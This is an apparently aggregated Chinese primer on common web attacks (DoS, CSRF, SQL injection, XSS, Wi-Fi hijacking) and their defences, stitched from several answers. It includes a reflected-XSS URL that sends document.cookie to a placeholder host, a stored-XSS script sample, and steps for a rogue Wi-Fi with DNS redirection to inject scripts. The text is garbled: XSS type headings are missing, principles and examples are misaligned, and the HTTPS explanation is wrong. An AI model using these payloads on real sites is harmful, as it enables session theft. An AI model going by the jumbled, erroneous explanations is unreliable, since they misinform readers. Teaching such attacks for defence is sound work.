常见的几种web攻击方式及原理
Posted
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了常见的几种web攻击方式及原理相关的知识,希望对你有一定的参考价值。
一、Dos攻击(Denial of Service attack)是一种针对服务器的能够让服务器呈现静止状态的攻击方式。有时候也加服务停止攻击或拒绝服务攻击。其原理就是发送大量的合法请求到服务器,服务器无法分辨这些请求是正常请求还是攻击请求,所以都会照单全收。海量的请求会造成服务器停止工作或拒绝服务的状态。这就是Dos攻击。
二、跨站点请求伪造(CSRF,Cross-Site Request Forgeries)
是指攻击者通过已经设置好的陷阱,强制对已完成认证的用户进行非预期的个人信息或设定信息等某些状态的更新。属于被动攻击。更简单的理解就是攻击者盗用了你的名义,以你的名义发送了请求。
一个CSRF最简单的例子就是用户A登录了网站A在虚拟账户里转账了1000块钱,用户A在本地生成了网站A的cookie,用户A在没有关闭网站A的情况下有访问了恶意网站B,恶意网站B包含请求A网站的代码,利用了本地的cookie经过身份验证的身份又向网站A发送了一次请求,这时你就会发现你在网站A的账户又少了1000块。这就是基本的CSRF攻击方式。
三、SOL注入攻击
是指通过对web连接的数据库发送恶意的SQL语句而产生的攻击,从而产生安全隐患和对网站的威胁,可以造成逃过验证或者私密信息泄露等危害。
SQL注入的原理是通过在对SQL语句调用方式上的疏漏,恶意注入SQL语句。 参考技术A XSS攻击
跨站脚本攻击,允许攻击者将恶意代码植入到其他用户使用的页面中,XSS涉及到三方,攻击者、客户端、Web应用。XSS的攻击目标是为了盗取存储在客户端cookie的活其它网站用于识别客户端身份的敏感信息。只要获取到用户信息后,攻击者可以假冒用户与网站进行交互。XSS攻击可以分为三类:存储型、反射型、DOM型。
CSRF攻击
跨站请求伪造,攻击者引导用户进入第三方网站,在第三方网站中,向用户所在的网站发送跨站请求。利用用户在被攻击网站已经或取的凭证,绕过后台的用户验证,就可以冒充用户继续执行某些操作。具体流程如下:
1、李四登陆了abc.com,保留了登录信息,cookie
2、攻击者引导李四访问def.com
3、def.com向abc.com发送了一个请求,浏览器会默认携带abc.com的cookie
4、abc.com接收请求后,进行验证,确认是李四的登录信息,以为是李四发送的请求。
5、abc.com以李四的名义执行了XXX
6、攻击完成,攻击者在李四不知情的情况下,冒充他,在abc.com中执行了自己的操作。
SQL注入
通过将恶意的SQL查询或其他语句插入到输入参数中,在后台SQL服务器上解析执行的攻击。流程如下:
1、找出SQL漏洞的注入点 2、判断数据库的类型以及版本 3、猜测用户名和密码 4、利用工具查找Web后台管理入口 5、入侵和破坏 参考技术B 第一部分 web的安全需求
1.1 Web安全的体系结构,包du括主机安全,网络安全和应用安全;
1.2 Web浏览器和服务器的安全需求;
在已知的web服务器(包括软硬件)漏洞中,针对该类型web服务器的攻击最少;
对服务器的管理操作只能由授权用户执行;
拒绝通过web访问web服务器上不公开发布的内容;
禁止内嵌在OS或者 web server软件中的不必要的网络服务;
有能力控制对各种形式的.exe程序的访问;
能够对web操作进行日志记录,以便于进行入侵检测和入侵企图分析;
具有适当的容错功能;
1.3 Web传输的安全需求
Web服务器必须和内部网络隔离:
有四种实现方式,应选择使用高性能的cisco防火墙实现隔离
Web服务器必须和数据库隔离;
维护一份web站点的安全拷贝:来自开发人员最终发布的版本(内容安全);
其次,存储的地点是安全的(另一台独立的位于防火墙之后的内网的主机);
常见的几种XSS攻击
1、原理
发请求时,XSS代码出现在URL中,提交给服务端。服务端返回的内容,也带上了这段XSS代码。最后浏览器执行XSS代码。
2、实例
http://aaaa/search?name=<script>document.location='http://xxx/get?cookie='+document.cookiescript>
3、开发安全措施
(1)、前端在显示服务端数据时候,不仅是标签内容需要过滤、转义,就连属性值也都可能需要。
(2)、后端接收请求时,验证请求是否为攻击请求,比如我们接收的数据是用户年龄,那么在后端,需要判断一下数据是否是Number,攻击则屏蔽。
(3)、避免使用eval,new Function等执行字符串的方法,除非确定字符串和用户输入无关。
(4)、使用innerHTML,document.write的时候,如果数据是用户输入的,那么需要对关键字符都进行过滤与转义。
1、原理
一般是提供一个免费的wifi,但是提供免费wifi的网关会往你访问的任何页面插入一段脚本或者是直接返回一个钓鱼页面,从而植入恶意脚本。这种直接存在于页面,无须经过服务器返回就是基于本地的XSS攻击。
2、实例
(1)、发一篇文章,里面包含了恶意脚本
今天天气不错啊!<script>alert('handsome boy')script>
(2)、后端没有对文章进行过滤,直接保存文章内容到数据库。
(3)、当其他看这篇文章的时候,包含的恶意脚本就会执行。
3、开发安全措施
(1)、首要是服务端要进行过滤,因为前端的校验可以被绕过。
(2)、前端要以各种方式过滤里面可能的恶意脚本,例如script标签,将特殊字符转换成HTML编码。
1、原理
存储型和反射型的区别就是,提交的XSS代码会存储在服务器端。是通过发表带有恶意跨域脚本的帖子/文章,从而把恶意脚本存储在服务器,每个访问该帖子/文章的人就会触发执行。
2、实例
wifi流量劫持,中间人可以看到用户的每一个请求,可以在页面嵌入恶意代码,使用恶意代码获取用户的信息,可以返回钓鱼页面。
(1)、提供一个免费的wifi。
(2)、开启一个特殊的DNS服务,将所有域名都解析到我们的电脑上,并把Wifi的DHCP-DNS设置为我们的电脑IP。
(3)、之后连上wifi的用户打开任何网站,请求都将被我们截取到。我们根据http头中的host字段来转发到真正服务器上。
(4)、收到服务器返回的数据之后,我们就可以实现网页脚本的注入,并返回给用户。
3、开发安全措施
可以使用HTTPS,HTTPS会在请求数据之前进行一次握手,使得客户端与服务端都有一个私钥,服务端用这个私钥加密,客户端用这个私钥解密,这样即使数据被人截取了,也是加密后的数据。
以上是关于常见的几种web攻击方式及原理的主要内容,如果未能解决你的问题,请参考以下文章